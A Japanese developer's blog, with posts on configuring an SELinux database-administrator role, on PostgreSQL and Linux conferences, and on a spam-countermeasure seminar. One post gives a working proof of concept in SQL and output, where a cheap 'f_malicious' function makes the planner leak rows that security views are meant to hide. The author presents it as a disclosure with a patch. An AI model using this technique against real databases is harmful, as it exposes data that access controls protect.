RBACによるDB管理者の設定

やっとこさdbadm.ppポリシーがFedoraでも有効化されたので、RBACを使った
DB管理者の設定方法について記す事にする。

ポリシーは selinux-policy-3.9.1 以降を用意してほしい。
現時点ではRawhide(開発者版)向けなので、Fedora15での機能になるハズ。

方針は以下の通り。

  • ユーザ dba をDB管理者として定義する
  • ログイン時のロール:ドメインは staff_r:staff_t とする。
  • sudoを使って root に昇格する際に、dbadm_r:dbadm_t に変更。

まず、UNIXユーザ dba を定義する。

[root@masu ~]# useradd dba -g users
[root@masu ~]# passwd dba
Changing password for user dba.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.

次に、対応する SELinux ユーザ dba_u を作成する。
dba_uは、UNIXユーザ dba と、staff_r および dbadm_r ロールを紐付ける目的で使用する。

[root@masu ~]# semanage user -a -P user -r s0 \
                        -R "system_r staff_r dbadm_r" dba_u
[root@masu ~]# semanage login -a -r s0 -s dba_u dba
[root@masu ~]# cp /etc/selinux/targeted/contexts/users/staff_u \
                  /etc/selinux/targeted/contexts/users/dba_u

最初の構文では、新たにSELinuxユーザ dba_u を定義する。
このSELinuxユーザには system_r と staff_r と dbadm_r ロールが
紐付けられている。
(system_rはサーバプロセスの起動のため)
また、ホームディレクトリのラベリングに使用する prefix として
user を指定(-P user)しているが、現状、これ以外の選択肢はない。

次の構文では、UNIXユーザ dba に対してログイン時に紐付けるSELinux
ユーザを指定している。ここで、先ほど定義した dba_u を指定する。

さらに、ログイン直後は staff_r:staff_t のロール/ドメインのペアを
関連付けるため、staff用の設定ファイルをコピーして使用する。
ログインしたらいきなり dbadm_r:dbadm_t というのは指定できない為念
(Dan Walshが「俺はそーゆーポリシーはヤダ」と突っぱねたので…。)

では、dbaでログインしてみよう。どうなるか。

[kaigai@masu ~]$ ssh dba@localhost
dba@localhost's password:
Last login: Thu Sep  9 22:33:52 2010 from localhost
[dba@masu ~]$ id -Z
dba_u:staff_r:staff_t:s0

確かに設定した通り、dba_u:staff_r:staff_t:s0 としてログインできている。

では最後に、ここから dbadm_r:dbadm_t に遷移するための sudo の設定を
行う事にしよう。

[root@masu ~]# echo "dba ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" \
                    >> /etc/sudoers

この設定のポイントは、ROLE=dbadm_r と TYPE=dbadm_t である。
FedoraのsudoコマンドにはSELinux対応のパッチが含まれており、
sudoで権限を切り替える際に、ロール/ドメインも併せて指定する事ができる。
(ここ、テストに出ますよ!)

すると、どうなるか。

[dba@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                             [  OK  ]
[dba@masu ~]$ ps -eZ | grep postgres
dba_u:system_r:postgresql_t:s0  13423 ?        00:00:01 sepostgres
dba_u:system_r:postgresql_t:s0  13425 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13426 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13427 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13428 ?        00:00:00 sepostgres
dba_u:system_r:postgresql_t:s0  13429 ?        00:00:00 sepostgres
[dba@masu ~]$

こんな感じで、サーバプロセスの起動/停止が行えるようになる。

その他、sudo経由での/bin/bashを許可すれば、DB設定ファイルの編集ができたりするが、
それ以外のファイルには一切触れないという面白い事になったりする。

ユーザのホームディレクトリを読み込めず、さすがに辛いという場合は、
dbadm_read_user_files (読込のみ) か dbadm_manage_user_files (読み書き) の
booleanを設定して少しポリシーを緩めると良いだろう。

[root@masu ~]# setsebool -P dbadm_read_user_files 1

Step to break Row-level security using VIEWs

RDBMSでビューを使った行レベルアクセス制御はよく知られたテクニックである。
だが、PostgreSQLでユーザ定義関数を使って、ビューによる行レベルアクセス制御をバイパスする方法については、よく知られたテクニックであるかどうかは不明である。

下のユーザ定義関数を見てほしい。注目すべきは、関数の実行コストを 0.0001 と与えているところ。

postgres=# CREATE FUNCTION f_malicious(text) RETURNS bool
    LANGUAGE 'plpgsql' COST 0.0001
    AS 'BEGIN RAISE NOTICE ''f_malicious: %'', $1; RETURN true; END;';
CREATE FUNCTION

PostgreSQLに限らず、世間一般のRDBMSでは、SELECT文を実行してテーブルからデータを取り出す時に、タプルが検索条件に合致するかどうかを検査する必要がある。

PostgreSQLの最適化は、条件句に複数の条件がAND結合されている時に、実行コストの小さいものから順に実行するように、検索条件の実行順序を並べ替える。BOOL型のAND結合なので、当然、順序を入れ替えても実行結果は同じはずである。但し、副作用のない関数であればの話だが。

例えば、以下のようにテーブルとビューを定義して、主キーが奇数の行しか見えないとしよう。

postgres=# CREATE TABLE t1 (a int primary key, b text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t1_pkey" for table "t1"
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'aaa'), (2, 'bbb'), (3, 'ccc');
INSERT 0 3
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 WHERE a & 1 = 1;
CREATE VIEW

postgres=# SELECT * FROM v1;
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

正しく動いているように見える。駄菓子菓子。

postgres=# SELECT * FROM v1 WHERE f_malicious(b);
NOTICE:  f_malicious: aaa
NOTICE:  f_malicious: bbb <--- え!?
NOTICE:  f_malicious: ccc
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

EXPLAINでクエリ実行計画を見てみると、謎が解ける。

postgres=# EXPLAIN SELECT * FROM v1 WHERE f_malicious(b);
                     QUERY PLAN
                                                                                                      • -
Seq Scan on t1 (cost=0.00..28.45 rows=2 width=36) Filter: (f_malicious(b) AND ( (a & 1) = 1)) (2 rows)

テーブルt1をスキャンする時に、検索条件は f_malicious() と (t1.a & 1) = 1 の2つだが、f_malicious() の作成時に実行コストを極めて小さく与えたために、最適化によって f_malicious() の実行の方が先に並べ替えられてしまった。

そのため、本来はフィルタリングされるはずの偶数キーのタプルの内容が f_malicious() に渡され、それが外部にリークするという結果をもたらしている。


実は、これとは別のシナリオで行レベルアクセス制御を破る方法も存在する。

下のビュー定義を見てほしい。内部で2つのテーブルをJOINしている。
同様に、偶数キーをフィルタリングしている。

postgres=# CREATE TABLE t2 (x int primary key, y text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t2_pkey" for table "t2"
CREATE TABLE
postgres=# INSERT INTO t2 VALUES (1, 'xxx'), (2, 'yyy'), (3, 'zzz');
INSERT 0 3

postgres=# CREATE VIEW v2 AS SELECT * FROM t1 JOIN t2 ON t1.a = t2.x WHERE a & 1 = 1;
CREATE VIEW
postgres=# SELECT * FROM v2;
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

駄菓子菓子。これも案の定、簡単に破る事ができる。

postgres=# SELECT * FROM v2 WHERE f_malicious(y);
NOTICE:  f_malicious: xxx
NOTICE:  f_malicious: yyy <-- あれま!?
NOTICE:  f_malicious: zzz
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

同じように見えるが、これはさっきの現象とはシナリオが異なる。
下記のEXPLAINの出力結果を見てほしい。

postgres=# EXPLAIN SELECT * FROM v2 WHERE f_malicious(y);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=28.52..52.42 rows=6 width=72) Hash Cond: (t2.x = t1.a) -> Seq Scan on t2 (cost=0.00..22.30 rows=410 width=36) Filter: f_malicious(y) -> Hash (cost=28.45..28.45 rows=6 width=36) -> Seq Scan on t1 (cost=0.00..28.45 rows=6 width=36) Filter: ( (a & 1) = 1) (7 rows)

フィルタリングの条件 (t1.a & 1) = 1 が Seq-Scan on t1 に結びついている一方で、
f_malicious(y) が JOIN ループの内側、Seq-Scan on t2 に結びついているのである。

これは、JOINすべきタプルの数が少なければ少ないほど、処理が軽くて済むという考えから、
引数が t2 テーブルのみに依存している f_malicious() 関数を t2 スキャンに結びつける
という最適化が行われている。

もちろん、セキュリティ的な視点からはダウト。

てな事で、放置する訳にも行かないのでパッチを投稿。
http://archives.postgresql.org/message-id/4C076B96.8080502@ak.jp.nec.com

一番の問題は、SE-PostgreSQLの行レベル制御にも同じ方法を使うように提案されているものの、
こんなボロボロじゃ使い物にならないという事だ。早く直さねば。(´ー`;)

RBACでDB管理者ロールを定義する(前編)

RHEL6もβが公開とかで、そろそろRBACが真っ当に使えるようなSELinuxの標準ポリシーが出てきそうな今日この頃。先んじて設定方法をまとめておく。

一応、標準ではwebコンテンツ管理者ロールというのが入っているが、私の興味分野的にアレなので、DB管理者ロールを定義して、特定のユーザがDB管理者ロールの時にだけDB起動/再起動などを行えるようにしたい。

まず、ポリシーモジュールを書く。
既にアップストリームに統合済みのポリシーも含まれているので、後々のFedoraではconflictする事もあるやと。その場合は、適宜重複分を削ってほしい。

policy_module(dbadm, 1.1.0)

########################################
#
# Declarations
#

## <desc>
## <p>
## Allow dbadm to manage files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_manage_user_files, false)

## <desc>
## <p>
## Allow dbadm to read files in users home directories
## </p>
## </desc>
gen_tunable(dbadm_read_user_files, false)

role dbadm_r;

userdom_base_user_template(dbadm)


########################################
#
# database admin local policy
#

allow dbadm_t self:capability { dac_override dac_read_search sys_ptrace };

files_dontaudit_search_all_dirs(dbadm_t)
files_manage_generic_locks(dbadm_t)
files_list_var(dbadm_t)

selinux_get_enforce_mode(dbadm_t)

logging_send_syslog_msg(dbadm_t)

userdom_dontaudit_search_user_home_dirs(dbadm_t)

tunable_policy(`dbadm_manage_user_files',`
        userdom_manage_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
        userdom_write_user_tmp_files(dbadm_t)
')

tunable_policy(`dbadm_read_user_files',`
        userdom_read_user_home_content_files(dbadm_t)
        userdom_read_user_tmp_files(dbadm_t)
')

optional_policy(`
        mysql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        postgresql_admin(dbadm_t, dbadm_r)
')

optional_policy(`
        staff_role_change_to(dbadm_r)
')

#
# Hotfix in type_transition rules and permissions to execute
# system defined procedures.
# (memo: this fix was already upstreamed at Mon Apr 12 2010)
#
gen_require(`
        class db_database all_db_database_perms;
        class db_table all_db_table_perms;
        class db_procedure all_db_procedure_perms;
        class db_column all_db_column_perms;
        class db_tuple all_db_tuple_perms;
        class db_blob all_db_blob_perms;

        attribute sepgsql_admin_type;
        attribute sepgsql_database_type;
        type sepgsql_db_t;
        type sepgsql_table_t;
        type sepgsql_proc_exec_t;
        type sepgsql_blob_t;
')
type_transition sepgsql_admin_type sepgsql_admin_type:db_database sepgsql_db_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_table sepgsql_table_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_procedure sepgsql_proc_exec_t;
type_transition sepgsql_admin_type sepgsql_database_type:db_blob sepgsql_blob_t;

allow sepgsql_admin_type sepgsql_proc_exec_t:db_procedure execute;

これをビルドしてインストール

$ vi dbadm.te
$ make -f /usr/share/selinux/devel/Makefile dbadm.pp
find: `~.doc': No such file or directory
Compiling targeted dbadm module
/usr/bin/checkmodule:  loading policy configuration from tmp/dbadm.tmp
/usr/bin/checkmodule:  policy configuration loaded
/usr/bin/checkmodule:  writing binary representation (version 10) to tmp/dbadm.mod
Creating targeted dbadm.pp policy package
rm tmp/dbadm.mod tmp/dbadm.mod.fc
$ su
Password:
# semodule -i dbadm.pp
# semodule -l | grep dbadm
dbadm   1.1.0

OK。これで下準備は終わり。
後々のFedora/RedHatELのアップデートでは、この辺の下準備は必要なくなると思う。

次いで、SELinuxユーザとロールとの関連付けを行う。
SELinuxユーザというのは、UNIXユーザとロールに対してN:Mの対応付けを行うための抽象的な識別子で、あるロールの組(例:foo_r var_r baz_r)に対してUNIXユーザ(例:hoge monu)を対応させる場合に、1個のSELinuxユーザを定義してfoo_r var_r baz_rを紐付け、そこにhogeとmonuを関連付けてやる。

ここでは、sepgsql_uというSELinuxユーザを作成し、staff_r/dbadm_r/system_rを紐付けている。

  • Rオプション以外はひとまず"おまじない"だと思ってほしい。
# semanage user -a -R "staff_r dbadm_r system_r" -P user \
             -r s0-s0:c0.c1023 -L s0-s0:c0.c1023 sepgsql_u

次に、sepgsqlというUNIXユーザを、先ほど定義したsepgsql_uに関連付ける。

# semanage login -a -s sepgsql_u -r s0-s0:c0.c1023 sepgsql

最後に、sepgsql_uユーザがログイン時に利用するロールを指定する設定ファイルをコピーする。
今回の場合は、staff_uと全く同じなので編集の必要はなし。

# cp /etc/selinux/targeted/contexts/users/staff_u \
     /etc/selinux/targeted/contexts/users/sepgsql_u

では、sepgsqlユーザでログインしてみよう。

[root@masu ~]# ssh sepgsql@localhost
sepgsql@localhost's password:
Last login: Sat Apr 24 11:32:56 2010 from localhost
[sepgsql@masu ~]$ id -Z
sepgsql_u:staff_r:staff_t:s0-s0:c0.c1023

OK、sepgsqlでログインすると、SELinuxユーザはsepgsql_uで、ロール/ドメインはstaff_rになっている。

続いて、sepostgresqlデーモンを起動/停止するためのsudoを設定する。

echo "sepgsql ALL=(ALL) ROLE=dbadm_r TYPE=dbadm_t NOPASSWD:/sbin/service" >> /etc/sudoers

ROLE= とか TYPE= はSELinux用の拡張で、sudoする時にロールやドメインを切り替える。この場合、dbadm_r/dbadm_tに切り替える。

では、sepostgresqlを初期化/起動してみる。

[sepgsql@masu ~]$ sudo service sepostgresql initdb
Initializing database:                                 [  OK  ]
[sepgsql@masu ~]$ sudo service sepostgresql start
Starting sepostgresql service:                         [  OK  ]
[sepgsql@masu ~]$ ps -AZ | grep sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19695 ? 00:00:01 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19697 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19698 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19699 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19700 ? 00:00:00 sepostgres
sepgsql_u:system_r:postgresql_t:s0-s0:c0.c1023 19701 ? 00:00:00 sepostgres

OK、無事に起動しているのがわかる。

定義済み boolean の設定しだいでは、dbadm_u ロールにはユニークな権限を持たせることができる。その辺の解説はまた後日。

データベース管理者ロールを考える

あまり有効に活用されているとは言い難いSELinuxのRBACだが、最近は地味にロールの種類が増えてきているようだ。

Reference Policy の policy/modules/roles 以下を見てみると、こんな感じで結構盛りだくさん。

$ ls *.te
[kaigai@ayu roles]$ ls *.te
auditadm.te
guest.te
logadm.te
secadm.te
staff.te
sysadm.te
unprivuser.te
webadm.te
xguest.te

WebやAuditなど、特定用途に特化したROLEが定義されている。

つまり、この人たちはWeb関連のファイルや、Audit関連のファイルしか
アクセスできない。たとえ sudo を使って root の権限を取得したとしてもだ。

データベース管理に特化したROLEというのは定義されていなかった…というか、多分それは俺の仕事なので、dbadm というロールを追加するパッチを投稿した。

http://oss.tresys.com/pipermail/refpolicy/2009-December/001804.html

今のところ、PostgreSQL関連のファイルとMySQL関連のファイル(動作未確認)を操作する事ができ、suやsudoを実行する事ができる。
加えて、SE-PostgreSQLの場合には CREATE TABLE などの DDL 文を実行して
スキーマ定義を行う事ができる。但し、SELECTやUPDATEなどのDML文の実行は、sepgsql_unconfined_admin条件変数によって制御する。

つまり、スキーマ定義はできるけども、ユーザデータの参照/更新は不可というデータベース管理者を作りたい。○racleのインスパイアという事だがw

更に、将来的には JLS のセッションで紹介したシステムイメージを実現するような形にしたい。

これは "System-wide consistency in access control" の最も先鋭的な例で、要は、データベース管理者であってもユーザデータを自由に参照/更新させたくないのであれば、そのアクセス手段に関係なく防がなくちゃいけないよね?というモデルである。

このポリシーの下では、データベース管理者はSQLでのユーザデータへのアクセスは不可。ファイルの直接アクセスもSELinuxが防ぐ。
それだと、バックアップすら取得する事が不可能に思えるが、ポイントは、バックアップソフトを「起動する」事だけが可能。

起動されたバックアップソフトは、ドメイン遷移により、データベース全体をダンプするのに必要な権限を付与されて動作する。そして、管理者であっても中身を参照できないファイルに書き出しを行う。
したがって、確かにDBのバックアップは取得できるのだが、OSとDBの連携により、管理者だからといって任意にそれを参照する事はできない。

こういう事を実現したいと思っている。

PostgreSQL Conference 2009 Japan

久々の更新w

今日と明日は、PostgreSQL Conference 2009 Japan (主催: 日本PostgreSQLユーザ会) に参加

私の発表は明日なので今日は聞くだけ。

Bruce Momjian氏のPg_migratorの話題と、三三株式会社さんの名刺データ管理を提供する
SaaSソリューションのバックエンドにPostgreSQLを使っている事例が秀逸。

Pg_migratorは、pg_dumpのコードの中にそれ対応のコードが何箇所か入っていたし、
後々、調べておかないとと思っていただけに、意外と(予想通り?)単純な構造で
システムテーブルを置換するというモノで、これなら SE-PostgreSQL の将来的な
フル機能実装時でも大丈夫そう。

名刺データのSaaSソリューションは、思いっきりシングルテナントで個人情報を
取り扱っているという、個人的には面白げな感じ。(セキュリティ的な意味で)
クエリによっては百行を越えるモノもあるとか言ってたが、本当にそれで大丈夫か、
一々検証するのは本当に大変。
そういう時に、プラットフォームでMACを提供できれば本当にありがたいと思う。

レセプションでは、海外からのゲストを含む沢山の人が来ているので、重要人物には
重点的に接触。SE-PostgreSQLのレビューがなかなか進まないという問題があるので、
直接話して協力を取り付ける。

宴も盛り上がってきたところで、くじ引き大会。

なんか、発表者全員のサイン入りTシャツ(限定一枚)とかいうありがたい物をもらってしまった。

もちろん、自分も発表者なので、自分のサインも入っているw

私の発表は、明日の 14:20〜
『LAPP/SELinux 〜 SE-PostgreSQL を用いたセキュア Web アプリケーション基盤〜』

基本的に JLS の内容を踏襲した発表ですが、日本語で聞けるというのは大きいかもw

なお、下記のURLで、ustream中継されるとの事 > 主に実家の親の人向け
http://www.ustream.tv/channel/pgcon09j-a

Japan Linux Symposium 2009 Early Registration

転載。
10月21日〜23日に開催のJapan Linux SymposiumのEarly Registration期間が〜9/15まで延長になったようだ。

特に学生さんは3日間通しのパスが$50USなので、この値段なら身銭切って申し込んでもいいと思う。
内容は英語でプロ向けだけど、お仕事としてOSS開発をやっている人がどんな事をやっているのか見てくるのは悪くないと思う。

==>国際技術シンポジウム「第1回Japan Linux Symposium」、早期割引期間延長!

早期割引の期間を2週間延長しました。9月15日までの登録者には、300USドルの参加料が200USドルになる割引特典が適用されます。
ぜひお早めに登録を!
(すでに登録をいただいている皆様、ご登録ありがとうございます。当日の参加をお待ちしております)
http://www.linuxfoundation.jp/news-media/announcements/2009/08/jls


==>アカデミック割引を追加
 Linuxの開発をより幅広く、特に学生の皆様に理解していただくために学生向けの特別参加料金を設定いたしました。学生の皆様、ぜひこの機会に登録ください。
対象者:学生(高校・高専・大学・短大在籍)の方
アカデミック割引参加料 $50
登録の際にアカデミックDiscount code "JLS_50"を入力してください。
なお、当日の受付で学生証などの提示をお願いいたします。

==>基調講演のみの登録は残りはわずか!
お早めに登録いただくか、セッションの方に登録をお願いいたします。
セッションに登録いただければ基調講演にもご参加いただけます。

駄菓子菓子。今になってアカデミック向け$50USのディスカウントなんて出したら、申込み済みの学生さんがもしいたら怒らないだろうか?むむぅ。

まっちゃ445勉強会

虎ノ門、金沢工業大学のサテライトキャンパスをお借りして開催された、まっちゃ445勉強会に行ってきた。
自分としてはあまり馴染みのない分野なので、結構よい勉強になった。

体感的には、一日に100〜200通の迷惑メールを受け取っているような気がする。
まぁ、OSSの開発などでメールアドレスを公開しているのでこの辺は仕方ない。

本当にこんなのに引っ掛かる人が居るのかいな?と思うメールばかりだが、
まぁ、100万通ばら撒けば、1万人に1人のバカが100人は釣れるというロングテール戦略なんだろう。

浅見さんのS25Rと、佐藤さんのtaRgreyの話は、迷惑メールをばら撒くのに使われているボットネットワークの特性を活かした対策。
確かに、IP逆引きが不可能、相手先MTAの再送要求に応えないとか、接続を10秒で切っちゃうとかは通常のメールサーバでは考えにくい実装なので、迷惑メール発信源の判定基準としては面白い。

ただ、この辺の対策手法の寿命ってどれくらいだろうかとも考えてみた。

IP逆引きの問題は置いておいても、SMTPを真面目に実装しているかどうかというのは誰かがライブラリを作ってしまえば終わるんじゃないの?とか、MTAからの応答を遅延させてもスレッドを100個作って同時に複数のメールサーバに接続すれば、ボットの目的である『短時間に大量のメール』は達成されそうな気がする。

まぁ、一個の方法に頼らないというのはセキュリティの鉄則。

須藤さんの milter manager の話は面白かった。
というのも、迷惑メール対策ではなく、機密情報の漏えい対策として自分の考えていたアイデアに応用が効きそうだったので。

不勉強にして知らなかったが、milterというのはMTAが受信したメールの処理を進める際に、背後で動いてメールをどう処理するか(DROPするとか、ヘッダを挿入するとか)の意思決定を行うモジュール。

SELinuxの場合、getpeercon()というAPIにソケットのファイルディスクリプタを与えると、TCP/IP接続の相手先プロセスのセキュリティコンテキスト(ユーザ権限みたいなもの)を取得できる。
セキュリティコンテキストというのは所詮文字列なので、一旦、OSの機能を使ってそれを取得すれば、あとはSELinuxのポリシーに基づいてメールの配送を許可するか否かという意思決定を行うだけになる。

SELinuxのポリシーはファイルシステム等へのアクセス制御にも効いてくるので、、、

  • 秘密情報にアクセスできるユーザは、メールに秘密情報が混じっている可能性があるので、外部へのメール送信を許可しない。
  • 秘密情報にアクセスできないユーザは、メールに秘密情報が混じっている可能性はないので、外部へのメール送信を許可してもよい。

というような判断を実装できそう。(アイデア自体は前から考えていたが)
あとで聞いてみたところ、milter自体はMTAの外側で動作するので、MTA自身がgetpeercon()を呼んで、文字列としてセキュリティコンテキストをmilterに渡す拡張が必要っぽいが、こういう pluggable な仕組みがあると、思わぬところで使い道が出てきそうなものだ。

懇親会。
新橋のTAPAで注文用の情報端末をリセットして管理モードでブートさせる会。
やっぱり、こういう面子の集まる会で、アルコールとガジェットを与えると、そうなりますねw